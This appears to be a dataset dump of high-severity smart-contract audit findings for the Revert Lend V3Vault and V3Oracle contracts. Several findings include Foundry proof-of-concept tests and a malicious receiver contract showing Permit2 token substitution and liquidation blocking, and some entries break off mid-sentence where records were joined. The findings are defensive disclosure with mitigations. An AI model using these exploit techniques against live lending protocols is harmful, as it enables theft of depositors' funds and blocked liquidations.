xanoutas/solidity-security-findings huggingface dataset:
Users can deposit Vault non-assets and receive shares
Audit: 2024-03-revert-lend-findings
Severity: HIGH

# Lines of code

https://github.com/Uniswap/permit2/blob/main/src/SignatureTransfer.sol?plain=1#L51-L68
https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol?plain=1#L893-L899


# Vulnerability details

## Impact
 
When a user deposits assets into the Vault and V3Vault._deposit() is called, the depositor can set the permitted token to a token other than the Vault's asset. When this happens, the permitted token is deposited and shares are minted to the depositor. A malicious user could create a random ERC20 token and then deposit this new ERC20 token into the vault and receive shares for free.

## Proof of Concept

Let's first discuss the Permit2 _permitTransferFrom function which shows how tokens are transferred:

```solidity
function _permitTransferFrom(
    PermitTransferFrom memory permit,
    SignatureTransferDetails calldata transferDetails,
    address owner,
    bytes32 dataHash,
    bytes calldata signature
) private {
    uint256 requestedAmount = transferDetails.requestedAmount;

    if (block.timestamp > permit.deadline) revert SignatureExpired(permit.deadline);
    if (requestedAmount > permit.permitted.amount) revert InvalidAmount(permit.permitted.amount);

    _useUnorderedNonce(owner, permit.nonce);

    signature.verify(_hashTypedData(dataHash), owner);

    // AUDIT: below we see how the PermitTransferFrom which is created by the depositor defines which token the transfer occurs
    ERC20(permit.permitted.token).safeTransferFrom(owner, transferDetails.to, requestedAmount);
}
```

As you can see above, the PermitTransferFrom structure defines which tokens are pulled by calling `permit.permitted.token`.

With that in mind, reviewing the _deposit function contains the following code related to allowing permitted token transfers:

```solidity
(ISignatureTransfer.PermitTransferFrom memory permit, bytes memory signature) =
    abi.decode(permitData, (ISignatureTransfer.PermitTransferFrom, bytes));
permit2.permitTransferFrom(
    permit, ISignatureTransfer.SignatureTransferDetails(address(this), assets), msg.sender, signature
);
```

As you can see, there are no checks that the `permit` structure has the permit.permitted.token set to the vault asset.

Below is the following forge test that shows how a malicious user can set the permitted token to be an address other than the Vault's asset:

```solidity
function testDepositPermit2Exploit() external {
    uint256 amount = 1000000;
    uint256 privateKey = 123;
    address addr = vm.addr(privateKey);

    // give coins
    vm.deal(addr, 1 ether);
    vm.prank(WHALE_ACCOUNT);
    // DAI.transfer(addr, amount * 2);
    deal(address(DAI), addr, amount * 2);

    vm.prank(addr);
    DAI.approve(PERMIT2, type(uint256).max);

    ISignatureTransfer.PermitTransferFrom memory tf = ISignatureTransfer.PermitTransferFrom(
        ISignatureTransfer.TokenPermissions(address(DAI), amount), 1, block.timestamp
    );
    bytes memory signature = _getPermitTransferFromSignature(tf, p
Users can repay Vault with non-assets and repay loan
Audit: 2024-03-revert-lend-findings
Severity: HIGH

# Lines of code

https://github.com/Uniswap/permit2/blob/main/src/SignatureTransfer.sol?plain=1#L51-L68
https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol?plain=1#L978-L984


# Vulnerability details

## Impact
 
When a user repays their loan to the Vault and V3Vault.repay() is called with permit data, the repayer can set the permitted token to a token other than the Vault's asset. When this happens, the permitted token is used as repayment. A malicious user could create a random ERC20 token and then repay this new ERC20 token into the vault and clear their loan debt for free.

## Proof of Concept

Let's first discuss the Permit2 _permitTransferFrom function which shows how tokens are transferred:

```solidity
function _permitTransferFrom(
    PermitTransferFrom memory permit,
    SignatureTransferDetails calldata transferDetails,
    address owner,
    bytes32 dataHash,
    bytes calldata signature
) private {
    uint256 requestedAmount = transferDetails.requestedAmount;

    if (block.timestamp > permit.deadline) revert SignatureExpired(permit.deadline);
    if (requestedAmount > permit.permitted.amount) revert InvalidAmount(permit.permitted.amount);

    _useUnorderedNonce(owner, permit.nonce);

    signature.verify(_hashTypedData(dataHash), owner);

    // AUDIT: below we see how the PermitTransferFrom which is created by the depositor defines which token the transfer occurs
    ERC20(permit.permitted.token).safeTransferFrom(owner, transferDetails.to, requestedAmount);
}
```

As you can see above, the PermitTransferFrom structure defines which tokens are pulled by calling `permit.permitted.token`.

With that in mind, reviewing the _repay function contains the following code related to allowing permitted token transfers:

```solidity
(ISignatureTransfer.PermitTransferFrom memory permit, bytes memory signature) =
    abi.decode(permitData, (ISignatureTransfer.PermitTransferFrom, bytes));
permit2.permitTransferFrom(
    permit, ISignatureTransfer.SignatureTransferDetails(address(this), assets), msg.sender, signature
);
```

As you can see, there are no checks that the `permit` structure has the permit.permitted.token set to the vault asset.

## Tools Used

Manual inspection.

## Recommended Mitigation Steps

The protocol should add a check in V3Vault._repay() that confirms the permit.permitted.token is the Vault's address:

```solidity
(ISignatureTransfer.PermitTransferFrom memory permit, bytes memory signature) =
    abi.decode(permitData, (ISignatureTransfer.PermitTransferFrom, bytes));

// AUDIT: check here to make sure that the permitted.token is the Vault's asset 
if (permit.permitted.token != asset) {
    // AUDIT: custom error that needs to be set
    revert WrongVaultAsset();
}

permit2.permitTransferFrom(
    permit, 
    ISignatureTransfer.SignatureTransferDetails(address(this), assets), 
    msg.sender, 
    signature
);
```
 

 




## Assessed type

Invalid Validation
Users can liquidate Vault loan with token other than Vault asset
Audit: 2024-03-revert-lend-findings
Severity: HIGH

# Lines of code

https://github.com/Uniswap/permit2/blob/main/src/SignatureTransfer.sol?plain=1#L51-L68
https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol?plain=1#L718-L725


# Vulnerability details

## Impact
 
When a user liquidates a loan in the Vault and V3Vault.liquidate() is called with permit data, the liquidator can set the permitted token to a token other than the Vault's asset. When this happens, the permitted token is used as liquidation payment. A malicious user could create a random ERC20 token and then liquidate a loan with this new ERC20 token for free.

## Proof of Concept

Let's first discuss the Permit2 _permitTransferFrom function which shows how tokens are transferred:

```solidity
function _permitTransferFrom(
    PermitTransferFrom memory permit,
    SignatureTransferDetails calldata transferDetails,
    address owner,
    bytes32 dataHash,
    bytes calldata signature
) private {
    uint256 requestedAmount = transferDetails.requestedAmount;

    if (block.timestamp > permit.deadline) revert SignatureExpired(permit.deadline);
    if (requestedAmount > permit.permitted.amount) revert InvalidAmount(permit.permitted.amount);

    _useUnorderedNonce(owner, permit.nonce);

    signature.verify(_hashTypedData(dataHash), owner);

    // AUDIT: below we see how the PermitTransferFrom which is created by the depositor defines which token the transfer occurs
    ERC20(permit.permitted.token).safeTransferFrom(owner, transferDetails.to, requestedAmount);
}
```

As you can see above, the PermitTransferFrom structure defines which tokens are pulled by calling `permit.permitted.token`.

With that in mind, reviewing the _repay function contains the following code related to allowing permitted token transfers:

```solidity
(ISignatureTransfer.PermitTransferFrom memory permit, bytes memory signature) =
    abi.decode(params.permitData, (ISignatureTransfer.PermitTransferFrom, bytes));

permit2.permitTransferFrom(
    permit,
    ISignatureTransfer.SignatureTransferDetails(address(this), state.liquidatorCost),
    msg.sender,
    signature
);
```

As you can see, there are no checks that the `permit` structure has the permit.permitted.token set to the vault asset.

## Tools Used

Manual inspection.

## Recommended Mitigation Steps

The protocol should add a check in V3Vault._repay() that confirms the permit.permitted.token is the Vault's address:

```solidity
(ISignatureTransfer.PermitTransferFrom memory permit, bytes memory signature) =
    abi.decode(params.permitData, (ISignatureTransfer.PermitTransferFrom, bytes));

// AUDIT: check here to make sure that the permitted.token is the Vault's asset 
if (permit.permitted.token != asset) {
    // AUDIT: custom error that needs to be set
    revert WrongVaultAsset();
}

permit2.permitTransferFrom(
    permit,
    ISignatureTransfer.SignatureTransferDetails(address(this), state.liquidatorCost),
    msg.sender,
    signature
);
```
 
 



## Assessed type

Invalid Validatio
Liquidations cannot be performed, revert on NFT received
Audit: 2024-03-revert-lend-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L1083


# Vulnerability details

## Impact
When we transfer nft function `onERC721Received` is called on a new owner if it is a smart contract.
Malicious smart contract can revert transaction when `onERC721Received` is called.
Which makes impossible to do liquidations.
## Proof of Concept
Check out test I provided below, where we transfer an NFT to malicious smart contract, which will be the NFT owner and borrower.
We transfer NFT and set flag to prevent any other NFT being transfered.
We interact with V3Vault via malicious smart contract., providing collateral and borrowing some assets.
After some time loan become unhealthy and subject to liquidation.
We try to liquidate, but transaction gets reverted.

Add this test beside your other tests in `test/integration/V3Vault.t.sol`
```solidity
    function testRevertOnReceived() external {
        address revertOnReceived = address(new RevertOnReceived());
        _deposit(10000000, WHALE_ACCOUNT);

        vm.startPrank(TEST_NFT_ACCOUNT);
        NPM.safeTransferFrom(TEST_NFT_ACCOUNT, revertOnReceived, TEST_NFT);
        RevertOnReceived(revertOnReceived).borrow(NPM, vault, TEST_NFT);
        RevertOnReceived(revertOnReceived).setFlag(true);

        skip(25 days);
        
        (uint256 debtShares) = vault.loans(TEST_NFT);
        vm.startPrank(WHALE_ACCOUNT);
        USDC.approve(address(vault), 10000000);
        vm.expectRevert();
        vault.liquidate(IVault.LiquidateParams(TEST_NFT, debtShares, 0, 0, WHALE_ACCOUNT, ""));
    }
```
And this contract
```solidity
contract RevertOnReceived is IERC721Receiver{
    bool private revertOnReceive;
    function setFlag(bool flag) external {
        revertOnReceive = flag;
    }
    function borrow( INonfungiblePositionManager npm, V3Vault vault, uint256 tokenId) external {
        npm.approve(address(vault), tokenId);
        vault.create(tokenId, address(this));
        (,, uint256 collateralValue,,) = vault.loanInfo(tokenId);
        vault.borrow(tokenId, collateralValue);
    }
    function onERC721Received(address, address , uint256 , bytes calldata ) external override returns (bytes4) {
        if (revertOnReceive) {
           revert();
        }
        return IERC721Receiver.onERC721Received.selector;
    }
}
```
## Tools Used
Manual review

## Recommended Mitigation Steps
I suggest to not transfer NFT to user, make a method to withdraw it by user when they need it.


## Assessed type

ERC721
V3Oracle._getReferencePoolPriceX96() return wrong price when tick is negative
Audit: 2024-03-revert-lend-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Oracle.sol#L359-#L371


# Vulnerability details

## Vulnerability Detail
In `V3Oracle` contract, `_getReferencePoolPriceX96()` function is used by protocol to get average price

The problem is that in case if `tickCumulatives[1] - tickCumulatives[0]` is negative, then timeWeightedTick should be rounded down like [Uniswap library](https://github.com/Uniswap/v3-periphery/blob/main/contracts/libraries/OracleLibrary.sol#L36)

As result, in case if `tickCumulatives[1] - tickCumulatives[0]` is negative and `(tickCumulatives[1] - tickCumulatives[0]) % twapSeconds != 0`, `tick` will be bigger then it should be. Which opens possibility for arbitrage opportunities.


## Impact
If `tickCumulatives[1] - tickCumulatives[0]` is negative and `((tickCumulatives[1] - tickCumulatives[0]) % twapSeconds != 0`, then returned tick will be bigger than it should be.

## Tools Used
Manual review

## Recommended Mitigation Steps
Tick should be rounded down in that case:

      int24 tick = int24((tickCumulatives[1] - tickCumulatives[0]) / int56(uint56(twapSeconds)));
    +  if ((tickCumulatives[1] - tickCumulatives[0]) < 0 && ((tickCumulatives[1] - tickCumulatives[0]) % twapSeconds != 0)) tick--;



## Assessed type

Uniswap
Liqidations on unhealthy Positions could be blocked by Owner by using the `onERC721Received` Hook
Audit: 2024-03-revert-lend-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L743-L745


# Vulnerability details

## Impact
The Bug, allows a User to have **risk free debt**, by blocking all liquidations, but still allowing himself the ability to repay this debt, if he still wishes to. This would result in all liquidation requests failing, potentially **costing** liquidators gas fees and **griefing** them.
## Proof of Concept
The issue occurs, due to the fact that the user, when depositing a uniswap position to the `V3Vault` contract, could set the address of a contract he owns as the owner of the created Position in vault. 
This contract that he owns, should simply implement the `onERC721Received` hook and have the basic functionality to revert or to return the selector on conditions that the Attacker decide. (For the coded proof of concept go to the end of this section)

At the end of the `liquidate()` function, the method `_cleanupLoan()` is used to send the position back to its owner (owner in the context of Vault)

```solidity
        // disarm loan and send remaining position to owner
        _cleanupLoan(params.tokenId, state.newDebtExchangeRateX96, state.newLendExchangeRateX96, owner);

        emit Liquidate(
            params.tokenId,
            msg.sender,
            owner,
            state.fullValue,
            state.liquidatorCost,
            amount0,
            amount1,
            state.reserveCost,
            state.missing
        );
    }

```
`_cleanupLoan()` in its turn uses `safeTransferFrom()` which in turn if recipient implements the `IERC721Receiver` interface will call the `onERC721Received()` function.
```solidity
function _cleanupLoan(uint256 tokenId, uint256 debtExchangeRateX96, uint256 lendExchangeRateX96, address owner)
        internal
    {
        _removeTokenFromOwner(owner, tokenId);
        _updateAndCheckCollateral(tokenId, debtExchangeRateX96, lendExchangeRateX96, loans[tokenId].debtShares, 0);
        delete loans[tokenId];
        // @audit-issue safe transfer
        nonfungiblePositionManager.safeTransferFrom(address(this), owner, tokenId);
        emit Remove(tokenId, owner);
    }
```
If the owner of the CDP is a contract, that implements the hook but instead revert in liquidations, this would result in the owner having risk free Debt and the Liquidity Providers suffering the consequences if the debt go under. (And also potentially griefing the liquidators for gas fees)

#### Coded PoC:
To simulate the attack, it is needed to first add the attacker contract, in which the `onERC721Received()` is implemented to perform the reentrancy and then add the test to V3Vault.t.sol and run it.
- note: please note that we implemented the method `SetAllowTransfer` to block/allow ERC721 Tokens to the `MaliciousContract` and please note that we used `repay()` in the test instead of `liquidate` as repay will also use `_cleanupLoan()` if debt completely paid and will use safeTransfer that will trig
`Debt` is larger than `lent`, so `available` can be zero.
Audit: 2024-03-revert-lend-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L1-L1315
https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/InterestRateModel.sol#L1-L102


# Vulnerability details

## Impact
Since `available` is zero, `withdraw` always fails.

## Proof of Concept
From the calculation formula for `lent`, there is a possibility that `debt` can be larger than `lent`.
`V3Vault.sol#_getAvailableBalance` is as follows.
```solidity
    function _getAvailableBalance(uint256 debtExchangeRateX96, uint256 lendExchangeRateX96)
        internal
        view
        returns (uint256 balance, uint256 available, uint256 reserves)
    {
        balance = totalAssets();

        uint256 debt = _convertToAssets(debtSharesTotal, debtExchangeRateX96, Math.Rounding.Up);
        uint256 lent = _convertToAssets(totalSupply(), lendExchangeRateX96, Math.Rounding.Down);

1027:   reserves = balance + debt > lent ? balance + debt - lent : 0;
1028:   available = balance > reserves ? balance - reserves : 0;
    }
```
`debt = debtSgaresTotal * debtExchangeRateX96` and `lent = totalSupply() * lendExchangeRateX96`. However, `debtExchangeRateX96 > lendExchangeRateX96` and `totalSupply() > debtSgaresTotal` are established. Therefore, if `debtSgaresTotal` is large enough, `debt` can be larger than `lent`.
The reason why the inequality `debtExchangeRateX96 > lendExchangeRateX96` is established can be seen by looking at `V3Vault.sol#_calculateGlobalInterest`.
`V3Vault.sol#_getAvailableBalance` is as follows.
```solidity
    function _calculateGlobalInterest()
        internal
        view
        returns (uint256 newDebtExchangeRateX96, uint256 newLendExchangeRateX96)
    {
        uint256 oldDebtExchangeRateX96 = lastDebtExchangeRateX96;
        uint256 oldLendExchangeRateX96 = lastLendExchangeRateX96;

        (, uint256 available,) = _getAvailableBalance(oldDebtExchangeRateX96, oldLendExchangeRateX96);

        uint256 debt = _convertToAssets(debtSharesTotal, oldDebtExchangeRateX96, Math.Rounding.Up);

        (uint256 borrowRateX96, uint256 supplyRateX96) = interestRateModel.getRatesPerSecondX96(available, debt);

        supplyRateX96 = supplyRateX96.mulDiv(Q32 - reserveFactorX32, Q32);

        // always growing or equal
        uint256 lastRateUpdate = lastExchangeRateUpdate;

        if (lastRateUpdate > 0) {
            newDebtExchangeRateX96 = oldDebtExchangeRateX96
                + oldDebtExchangeRateX96 * (block.timestamp - lastRateUpdate) * borrowRateX96 / Q96;
            newLendExchangeRateX96 = oldLendExchangeRateX96
                + oldLendExchangeRateX96 * (block.timestamp - lastRateUpdate) * supplyRateX96 / Q96;
        } else {
            newDebtExchangeRateX96 = oldDebtExchangeRateX96;
            newLendExchangeRateX96 = oldLendExchangeRateX96;
        }
    }
```
First, `supplyRateX96 = borrowRateX96 * utilizationRateX96 * (Q32 - reserveFactorX32) / Q32/Q96`, so `supplyRateX96 < borrowRateX96`. Then `newDebtExchageRat
There is no `Safety Mechanism Activation` implemented that will emergency `pause` when two price feeds exceed threshold 
Audit: 2024-03-revert-lend-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Oracle.sol#L139-L150


# Vulnerability details

## Impact
As stated in the documentation in `Section 8: Oracle` at `8.1.1 Safety Mechanism Activation`: 

*"Should the difference between these two price feeds exceed a predefined thresh-
old, the initiation and processing of new loans or liquidations involving the
affected collateral will be paused. This precautionary pause will be automati-
cally enforced until the price divergence is corrected, or the oracle is modified
to address the underlying issue."*

However, it is not implemented. It could have been implemented in [`V3Oracle::_requireMaxDifference`](https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Oracle.sol#L139-L150) in this function.

```solidity
function _requireMaxDifference(uint256 priceX96, uint256 verifyPriceX96, uint256 maxDifferenceX10000)
    internal
    pure
{
    uint256 differenceX10000 = priceX96 > verifyPriceX96
        ? (priceX96 - verifyPriceX96) * 10000 / priceX96
        : (verifyPriceX96 - priceX96) * 10000 / verifyPriceX96;
    // if too big difference - revert
    if (differenceX10000 >= maxDifferenceX10000) {
        revert PriceDifferenceExceeded();
    }
}
```

## Proof of Concept
## Tools Used
Manual Review

## Recommended Mitigation Steps
Implement the said mechanism as stated in the docs or something similar as shown below.

```diff
function _requireMaxDifference(uint256 priceX96, uint256 verifyPriceX96, uint256 maxDifferenceX10000)
        internal
        pure
{
    uint256 differenceX10000 = priceX96 > verifyPriceX96
        ? (priceX96 - verifyPriceX96) * 10000 / priceX96
        : (verifyPriceX96 - priceX96) * 10000 / verifyPriceX96;
    // if too big difference - revert
    if (differenceX10000 >= maxDifferenceX10000) {
--      revert PriceDifferenceExceeded();

++      // Implement the "pause per collateral" logic here
    }
}
```


## Assessed type

Oracle